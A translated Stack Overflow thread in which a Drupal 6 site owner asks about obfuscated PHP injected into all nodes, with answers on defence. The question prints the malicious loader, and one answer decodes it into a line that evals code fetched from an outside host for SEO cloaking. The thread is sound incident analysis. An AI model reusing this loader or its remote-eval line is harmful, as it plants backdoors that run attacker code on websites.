今天,我的Drupal6站点中的所有节点都使用这个添加的php脚本出现了
?php $node->nid = 849;
preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');
if(@$node->body):
?php echo @$node->title;?
?php echo @$node->body;?
?php else:?
... here would go the original text of the node
?php endif;?(我已经删除了一些符号,以确保您可以正确阅读php代码)
因此,我猜这意味着有人能够更新drupal表中的信息并注入此php脚本。
1-这段PHP代码在做什么(如果有的话)?(当然,除了阻止节点内容的可视化之外)
2-他们是如何做到这一点的?是Drupal的安全漏洞吗?Mysql one? 3-我想恢复的唯一方法就是完全恢复数据库...
发布于 2010-12-07 20:30:04
做这个的人,真的想让代码变得难以阅读。
我不是百分之百确定这是如何工作的,但是顶端代码的最终结果是这样的:
if(!function_exists('node_update_log'))@eval(@file_get_contents('http://ssedrup.org/at/r_inc.php'));
if(function_exists('node_update_log'))node_update_log($node);因为你的网站是Drupal网站,所以有人针对你的网站进行了攻击,你在运行最新的版本吗?他们可能正在利用Drupal /一个贡献的Drupal模块中的已知安全漏洞。您是否在Drupal节点中使用php过滤器,这可能是访问点。
我看了一下链接到的代码,它也很难阅读。这是负责更新所有节点的代码。它的目标似乎是通过查看IP地址来显示搜索引擎爬虫的特殊内容。这是一种被称为时钟的SEO策略。
无论如何,link to the actual code that is run
简而言之,这种对你网站的攻击,是为了掩盖这样一个事实,即搜索引擎会索引你网站上的一些特殊内容。这可能是为了提高一些网站的搜索引擎优化。做这件事的人真正知道他想做什么,以及如何去做。
发布于 2010-12-07 21:02:37
我假设您已经安装了最新的Drupal和您正在使用的所有模块。这是您需要确保的最重要的事情--密切关注Drupal版本,并在安全更新发布时始终进行升级。
但是,更有可能是您的某个模块存在安全缺陷,而不是Drupal核心。Drupal本身存在(可能仍然是)缺陷,但真正令人讨厌的问题往往出现在模块中。
这样做的原因是,模块往往是由第三方编写的,他们可能对良好的安全实践有很好的理解,也可能没有很好的理解。尽管核心被每个人使用,并得到了开发人员的大量关注,但大多数模块不会有如此广泛的用途,因此它们得到的开发工作更少,测试更少,使用更少,因此不太可能发现错误。
看一看你在你的网站上使用过的非核心模块(编辑你的问题,在这里列出它们可能会有所帮助,以防有人知道一些具体的东西)。
使用谷歌搜索drupal modulename security或类似的东西,看看会出现什么。也可以访问他们在drupal.org上的页面,阅读那里的注释;看看这个项目有多活跃--这个模块最后一次更新是什么时候?多长时间一次?有多少开发人员参与了这项工作?等等-如果这些数字很低,考虑找一个替代模块来做同样的工作。
如果您的PHP技能足够好(而且您有时间),您可以对它们进行代码审查,看看是否能发现什么。
当然,这可能根本不是drupal的问题。如果你在一个共享主机平台上,盒子可能已经被任何一个托管网站的安全问题所破坏,导致盒子上的所有网站都被泄露(这种情况发生在我身上--不太好)。但是由于注入的代码是特定于drupal的,所以看起来很可能是drupal的黑客攻击,所以主要的疑点必须是您的安装。
希望这能有所帮助。
发布于 2010-12-08 05:41:07
你可能把“输入格式”设置错了。请注意,“默认”格式是每个人都可以访问的格式。如果您将"FULL HTML“设置为"default",则您的站点将面临许多XSS漏洞攻击。如果您将其设置为"PHP“,则它将向所有人开放。“默认”并不意味着它只成为默认格式,即已经选择的格式。它意味着每个人,包括所有可以评论和发布节点的人,都可以插入任何类型的PHP。
https://stackoverflow.com/questions/4376388
复制相似问题